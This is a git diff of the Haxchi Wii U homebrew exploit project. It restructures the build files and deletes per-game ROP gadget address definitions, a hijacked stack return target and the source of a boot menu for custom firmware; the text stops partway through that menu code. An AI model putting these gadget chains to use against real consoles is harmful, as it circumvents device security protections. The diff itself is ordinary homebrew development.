diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e49a4c7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.nds +*.zip +*.bin +defines.s diff --git a/Build.bat b/Build.bat deleted file mode 100644 index a0637de..0000000 --- a/Build.bat +++ /dev/null @@ -1,20 +0,0 @@ -@echo off - -cd installer -mkdir data 2>/nul -cd ../dsrom -echo. -echo Building DS ROMs -echo. -make clean -make Windows_NT=1 - -cd ../installer -echo. -echo Building WiiU Installer -echo. -make clean -make - -echo. -pause diff --git a/Build_CBHC.bat b/Build_CBHC.bat deleted file mode 100644 index c5dd8e6..0000000 --- a/Build_CBHC.bat +++ /dev/null @@ -1,20 +0,0 @@ -@echo off - -cd installer -mkdir data 2>/nul -cd ../dsrom -echo. -echo Building DS ROMs -echo. -make clean -make Windows_NT=1 CB=1 - -cd ../installer -echo. -echo Building WiiU Installer -echo. -make clean -make CB=1 - -echo. -pause diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..3f953fd --- /dev/null +++ b/Makefile @@ -0,0 +1,36 @@ +.PHONY := all code550.bin + +ifeq ($(Windows_NT), 1) + ZIP = zip/zip.exe +else + ZIP = zip +endif + +HAXCHI_S = haxchi.s +ROP_S = haxchi_rop.s +ROP_BIN = haxchi_rop.bin + + +all: setup brainage rom.zip + +brainage: setup_brainage brainage.nds + +setup: + @cd hbl_loader && make && cd .. + +setup_brainage: + @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin + @cp -f brainage_defs.s defines.s + +brainage.nds: + @armips $(ROP_S) + @armips $(HAXCHI_S) + @mv rom.nds brainage.nds + +rom.zip: + $(ZIP) -JXjq9 rom.zip brainage.nds + +clean: + @rm -f *.bin *.zip *.nds defines.s + @cd hbl_loader && make clean && cd .. + @echo "all cleaned up !" diff --git a/README.md b/README.md index 570a5a7..73f095a 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,10 @@ # Haxchi -This is the continuation of the POC Haxchi exploit by smea. -It features compatibility with a lot of DS VC and can be easly installed and further configured. - -## Installation - -If you happen to have a DS VC title [that is listed in this file](installer/src/gameList.h#L14-L102) then go ahead and grab the current Haxchi .zip file from the "releases" tab, make sure to NOT click on "source code" instead of the current .zip. -Just extract the contents of it onto your sd card. The "haxchi" folder right now just consists of a simple replacement icon, logo and replacing the game title with "Haxchi", its example config.txt will boot homebrew launcher by default and a fw.img on your sd card when holding A. For a full list of all compatible buttons that you can use for the config.txt go [here](dsrom/option_select/main.c#L57-L75). -The content of this haxchi folder can be changed to your liking - if you want to you can also add in an alternative bootSound.btsnd to replace the original startup sound which I did not do in this example haxchi folder. -After setting up the content to your liking all you have to do is run the Haxchi Installer in homebrew launcher, select the game you want to install it on and that is it! If you ever want to make changes to the content folder it installed to then just re-run the Haxchi Installer and install it again, you dont have to reinstall the game beforehand, it'll just overwrite the previous haxchi installation with your new data. -Please note, this will ONLY WORK WITH DS VC GAMES ON NAND, if you have a ds vc game on USB you want to use then please move it to your NAND first and ideally detach your usb device before using this installer .elf, if you dont remove your usb devices it may freeze up on exiting or not install properly. -This also ONLY LOADS THE .ELF VERSION OF THE HOMBEBREW LAUNCHER which as of right now is v1.4 so make sure to keep that on your sd card or you will just get error -5 when starting your haxchi channel. Once you are in the homebrew launcher it is also perfectly compatible with loading .rpx files, you just cant use haxchi itself to load .rpx files. - -[These games right now are supported by the installer.](installer/src/gameList.h#L14-L102) +This is the continuation of Haxchi from FIX94 (initial PoC by smea). ## Dependencies -To properly compile this project yourself you will need the latest libiosuhax from dimok789's github. +armnips and zip ## credit diff --git a/dsrom/brainage_defs.s b/brainage_defs.s similarity index 100% rename from dsrom/brainage_defs.s rename to brainage_defs.s diff --git a/build.sh b/build.sh deleted file mode 100644 index a64ad2c..0000000 --- a/build.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/sh - -cd installer -mkdir data -cd ../dsrom -echo Building DS ROMs -make clean -make - -cd ../installer -echo Building WiiU Installer -make clean -make - diff --git a/build_cbhc.sh b/build_cbhc.sh deleted file mode 100644 index c550f38..0000000 --- a/build_cbhc.sh +++ /dev/null @@ -1,13 +0,0 @@ -#!/bin/sh - -cd installer -mkdir data -cd ../dsrom -echo Building DS ROMs -make clean -make CB=1 - -cd ../installer -echo Building WiiU Installer -make clean -make CB=1 diff --git a/dsrom/coreinit.s b/coreinit.s similarity index 100% rename from dsrom/coreinit.s rename to coreinit.s diff --git a/dsrom/Makefile b/dsrom/Makefile deleted file mode 100644 index 3d93642..0000000 --- a/dsrom/Makefile +++ /dev/null @@ -1,276 +0,0 @@ -.PHONY := all code550.bin - -ifeq ($(Windows_NT), 1) - ZIP = zip/zip.exe -else - ZIP = zip -endif - -ifeq ($(CB), 1) - HAXCHI_S = haxchi_cb.s - ROP_S = haxchi_rop_cb.s - ROP_BIN = haxchi_rop_cb.bin -else - HAXCHI_S = haxchi.s - ROP_S = haxchi_rop.s - ROP_BIN = haxchi_rop.bin -endif - -all: setup animalcrossing brainage dkjclimber guardiansigns kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime \ - pokemonranger sfcommand sm64ds yoshids zeldaph zeldast \ - animalcrossing.zip brainage.zip dkjclimber.zip guardiansigns.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip \ - newsmb_eur.zip partnersintime.zip pokemonranger.zip sfcommand.zip sm64ds.zip yoshids.zip zeldaph.zip zeldast.zip - -animalcrossing: setup_animalcrossing animalcrossing.nds - -brainage: setup_brainage brainage.nds - -dkjclimber: setup_dkjclimber dkjclimber.nds - -guardiansigns: setup_guardiansigns guardiansigns.nds - -kirby: setup_kirby kirby.nds - -kirbymassattack: setup_kirbymassattack kirbymassattack.nds - -mariokartds: setup_mariokartds mariokartds.nds - -masterofdisguise: setup_masterofdisguise masterofdisguise.nds - -newsmb_eur: setup_newsmb_eur newsmb_eur.nds - -partnersintime: setup_partnersintime partnersintime.nds - -pokemonranger: setup_pokemonranger pokemonranger.nds - -sfcommand: setup_sfcommand sfcommand.nds - -sm64ds: setup_sm64ds sm64ds.nds - -yoshids: setup_yoshids yoshids.nds - -zeldaph: setup_zeldaph zeldaph.nds - -zeldast: setup_zeldast zeldast.nds - -setup: - @cd cbhc_menu && make && cd .. - @cd hbl_loader && make && cd .. - @cd iosu_patcher && make && cd .. - @cd option_select && make && cd .. - @cd vwii_loader && make && cd .. - -setup_animalcrossing: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f animalcrossing_defs.s defines.s - -setup_brainage: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f brainage_defs.s defines.s - -setup_dkjclimber: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f dkjclimber_defs.s defines.s - -setup_guardiansigns: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f guardiansigns_defs.s defines.s - -setup_kirby: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f kirby_defs.s defines.s - -setup_kirbymassattack: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f kirbymassattack_defs.s defines.s - -setup_mariokartds: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f mariokartds_defs.s defines.s - -setup_masterofdisguise: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f masterofdisguise_defs.s defines.s - -setup_newsmb_eur: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f newsmb_eur_defs.s defines.s - -setup_pokemonranger: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f pokemonranger_defs.s defines.s - -setup_partnersintime: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f partnersintime_defs.s defines.s - -setup_sfcommand: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f sfcommand_defs.s defines.s - -setup_sm64ds: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f sm64ds_defs.s defines.s - -setup_yoshids: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f yoshids_defs.s defines.s - -setup_zeldaph: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f zeldaph_defs.s defines.s - -setup_zeldast: - @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin - @cp -f zeldast_defs.s defines.s - -animalcrossing.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds animalcrossing.nds - -brainage.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds brainage.nds - @cp brainage.nds yoshitouchandgo.nds - -dkjclimber.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds dkjclimber.nds - -guardiansigns.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds guardiansigns.nds - -kirby.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds kirby.nds - -kirbymassattack.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds kirbymassattack.nds - -mariokartds.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds mariokartds.nds - @cp mariokartds.nds newsmb.nds - -masterofdisguise.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds masterofdisguise.nds - -newsmb_eur.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds newsmb_eur.nds - -pokemonranger.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds pokemonranger.nds - -partnersintime.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds partnersintime.nds - -sfcommand.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds sfcommand.nds - -sm64ds.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds sm64ds.nds - @cp sm64ds.nds kirbycanvascurse.nds - -yoshids.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds yoshids.nds - @cp yoshids.nds wwtouched.nds - @cp yoshids.nds bigbrainacademy.nds - -zeldaph.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds zeldaph.nds - -zeldast.nds: - @armips $(ROP_S) - @armips $(HAXCHI_S) - @mv rom.nds zeldast.nds - @cp zeldast.nds explorersofsky.nds - @cp zeldast.nds shadowsofalmia.nds - -animalcrossing.zip: - $(ZIP) -JXjq9 ../installer/data/animalcrossing.zip animalcrossing.nds - -brainage.zip: - $(ZIP) -JXjq9 ../installer/data/brainage.zip brainage.nds - $(ZIP) -JXjq9 ../installer/data/yoshitouchandgo.zip yoshitouchandgo.nds - -dkjclimber.zip: - $(ZIP) -JXjq9 ../installer/data/dkjclimber.zip dkjclimber.nds - -guardiansigns.zip: - $(ZIP) -JXjq9 ../installer/data/guardiansigns.zip guardiansigns.nds - -kirby.zip: - $(ZIP) -JXjq9 ../installer/data/kirby.zip kirby.nds - -kirbymassattack.zip: - $(ZIP) -JXjq9 ../installer/data/kirbymassattack.zip kirbymassattack.nds - -mariokartds.zip: - $(ZIP) -JXjq9 ../installer/data/mariokartds.zip mariokartds.nds - $(ZIP) -JXjq9 ../installer/data/newsmb.zip newsmb.nds - -masterofdisguise.zip: - $(ZIP) -JXjq9 ../installer/data/masterofdisguise.zip masterofdisguise.nds - -newsmb_eur.zip: - $(ZIP) -JXjq9 ../installer/data/newsmb_eur.zip newsmb_eur.nds - -pokemonranger.zip: - $(ZIP) -JXjq9 ../installer/data/pokemonranger.zip pokemonranger.nds - -partnersintime.zip: - $(ZIP) -JXjq9 ../installer/data/partnersintime.zip partnersintime.nds - -sfcommand.zip: - $(ZIP) -JXjq9 ../installer/data/sfcommand.zip sfcommand.nds - -sm64ds.zip: - $(ZIP) -JXjq9 ../installer/data/sm64ds.zip sm64ds.nds - $(ZIP) -JXjq9 ../installer/data/kirbycanvascurse.zip kirbycanvascurse.nds - -yoshids.zip: - $(ZIP) -JXjq9 ../installer/data/yoshids.zip yoshids.nds - $(ZIP) -JXjq9 ../installer/data/wwtouched.zip wwtouched.nds - $(ZIP) -JXjq9 ../installer/data/bigbrainacademy.zip bigbrainacademy.nds - -zeldaph.zip: - $(ZIP) -JXjq9 ../installer/data/zeldaph.zip zeldaph.nds - -zeldast.zip: - $(ZIP) -JXjq9 ../installer/data/zeldast.zip zeldast.nds - $(ZIP) -JXjq9 ../installer/data/explorersofsky.zip explorersofsky.nds - $(ZIP) -JXjq9 ../installer/data/shadowsofalmia.zip shadowsofalmia.nds - -clean: - @rm -f *.bin *.nds ../installer/data/*.zip defines.s - @cd cbhc_menu && make clean && cd .. - @cd hbl_loader && make clean && cd .. - @cd iosu_patcher && make clean && cd .. - @cd option_select && make clean && cd .. - @cd vwii_loader && make clean && cd .. - @echo "all cleaned up !" diff --git a/dsrom/animalcrossing_defs.s b/dsrom/animalcrossing_defs.s deleted file mode 100644 index af70b63..0000000 --- a/dsrom/animalcrossing_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B6A4-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16440F00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A9DC4) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A999C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217F924) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227F310) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018AB0) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5204) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F624) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020862CC) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205A454) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B38) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214FA58) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020244B4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022290AC) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x022294C8) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02228F58) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FF0C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02228B9C) -_START_EXIT equ (RPX_OFFSET + 0x020265DC) diff --git a/dsrom/cbhc_menu/Makefile b/dsrom/cbhc_menu/Makefile deleted file mode 100644 index 16e4976..0000000 --- a/dsrom/cbhc_menu/Makefile +++ /dev/null @@ -1,32 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -setup: - mkdir -p $(root)/bin/ - -main: - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o cbhc_menu.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map cbhc_menu.map - $(OBJCOPY) cbhc_menu.elf -S -O binary ../cbhc_menu.bin - -clean: - rm -rf $(build) payload - rm -rf cbhc_menu.elf cbhc_menu.map diff --git a/dsrom/cbhc_menu/coreinit.h b/dsrom/cbhc_menu/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/cbhc_menu/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/cbhc_menu/crt0.S b/dsrom/cbhc_menu/crt0.S deleted file mode 100644 index 2ff35ce..0000000 --- a/dsrom/cbhc_menu/crt0.S +++ /dev/null @@ -1,9 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - bl __main - mtlr r3 - blr diff --git a/dsrom/cbhc_menu/main.c b/dsrom/cbhc_menu/main.c deleted file mode 100644 index 2f0384f..0000000 --- a/dsrom/cbhc_menu/main.c +++ /dev/null @@ -1,626 +0,0 @@ -/* - * Copyright (C) 2016-2017 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "pad.h" -#include "../global.h" - -static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle); - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R) -#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y) -#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf" -#define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf" - -static const char *verChar = "CBHC v1.6 by FIX94"; -static const unsigned long long VWII_SYSMENU_TID = 0x0000000100000002ULL; -static const unsigned long long VWII_HBC_TID = 0x000100014C554C5AULL; - -#define DEFAULT_DISABLED 0 -#define DEFAULT_SYSMENU 1 -#define DEFAULT_HBL 2 -#define DEFAULT_MOCHA 3 -#define DEFAULT_CFW_IMG 4 -#define DEFAULT_VWII_SYSMENU 5 -#define DEFAULT_VWII_HBC 6 -#define DEFAULT_MAX 7 - -static const char *defOpts[DEFAULT_MAX] = { - "DEFAULT_DISABLED", - "DEFAULT_SYSMENU", - "DEFAULT_HBL", - "DEFAULT_MOCHA", - "DEFAULT_CFW_IMG", - "DEFAULT_VWII_SYSMENU", - "DEFAULT_VWII_HBC", -}; - -static const char *bootOpts[DEFAULT_MAX] = { - "Disabled", - "System Menu", - "Homebrew Launcher", - "Mocha CFW", - "fw.img on SD Card", - "vWii System Menu", - "vWii Homebrew Channel", -}; - -#define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable); -#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp); -#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf); -#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); - -uint32_t __main(void) -{ - /* coreinit functions */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* coreinit os functions*/ - int (*OSForceFullRelaunch)(void); - void (*OSSleepTicks)(unsigned long long ticks); - void (*OSExitThread)(int); - unsigned long long(*OSGetTitleID)(); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - - /* coreinit os screen functions */ - void(*OSScreenInit)(); - void(*OSScreenEnableEx)(unsigned int bufferNum, int enable); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - /* coreinit memory functions */ - void (*DCStoreRange)(const void *addr, uint32_t length); - unsigned int *pMEMAllocFromDefaultHeapEx; - unsigned int *pMEMFreeToDefaultHeap; - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - void* (*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); - void (*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); - - /* coreinit fs functions */ - int(*FSInit)(void); - void(*FSShutdown)(void); - int(*FSAddClient)(void *pClient, int errHandling); - int(*FSDelClient)(void *pClient); - void(*FSInitCmdBlock)(void *pCmd); - int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling); - int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - - OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); - OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown); - OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); - OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); - - /* act functions */ - unsigned int act_handle; - OSDynLoad_Acquire("nn_act.rpl", &act_handle); - - void(*nn_act_initialize)(void); - unsigned char(*nn_act_getslotno)(void); - unsigned char(*nn_act_getdefaultaccount)(void); - void(*nn_act_finalize)(void); - - OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize); - OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno); - OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount); - OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize); - - /* padscore functions */ - unsigned int padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - - void(*WPADEnableURCC)(int enable); - void(*KPADSetConnectCallback)(int chan, void *ptr); - void*(*WPADSetSyncDeviceCallback)(void *ptr); - void(*KPADShutdown)(void); - //easly allows us callback without execute permission on other cores - char(*WPADGetSpeakerVolume)(void); - void(*WPADSetSpeakerVolume)(char); - - OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC); - OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback); - OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown); - OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume); - - /* save functions */ - unsigned int save_handle; - OSDynLoad_Acquire("nn_save.rpl", &save_handle); - - void(*SAVEInit)(void); - void(*SAVEShutdown)(void); - void(*SAVEInitSaveDir)(unsigned char user); - int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling); - int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling); - void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling); - - OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit); - OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown); - OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir); - OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile); - OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota); - OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename); - - /* sysapp functions */ - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - - void (*SYSLaunchMenu)(void); - void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot); - int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr); - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMenuWithCheckingAccount", &_SYSLaunchMenuWithCheckingAccount); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchTitleWithStdArgsInNoSplash", &_SYSLaunchTitleWithStdArgsInNoSplash); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSGetSystemApplicationTitleId", &_SYSGetSystemApplicationTitleId); - - /* vpad functions */ - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", 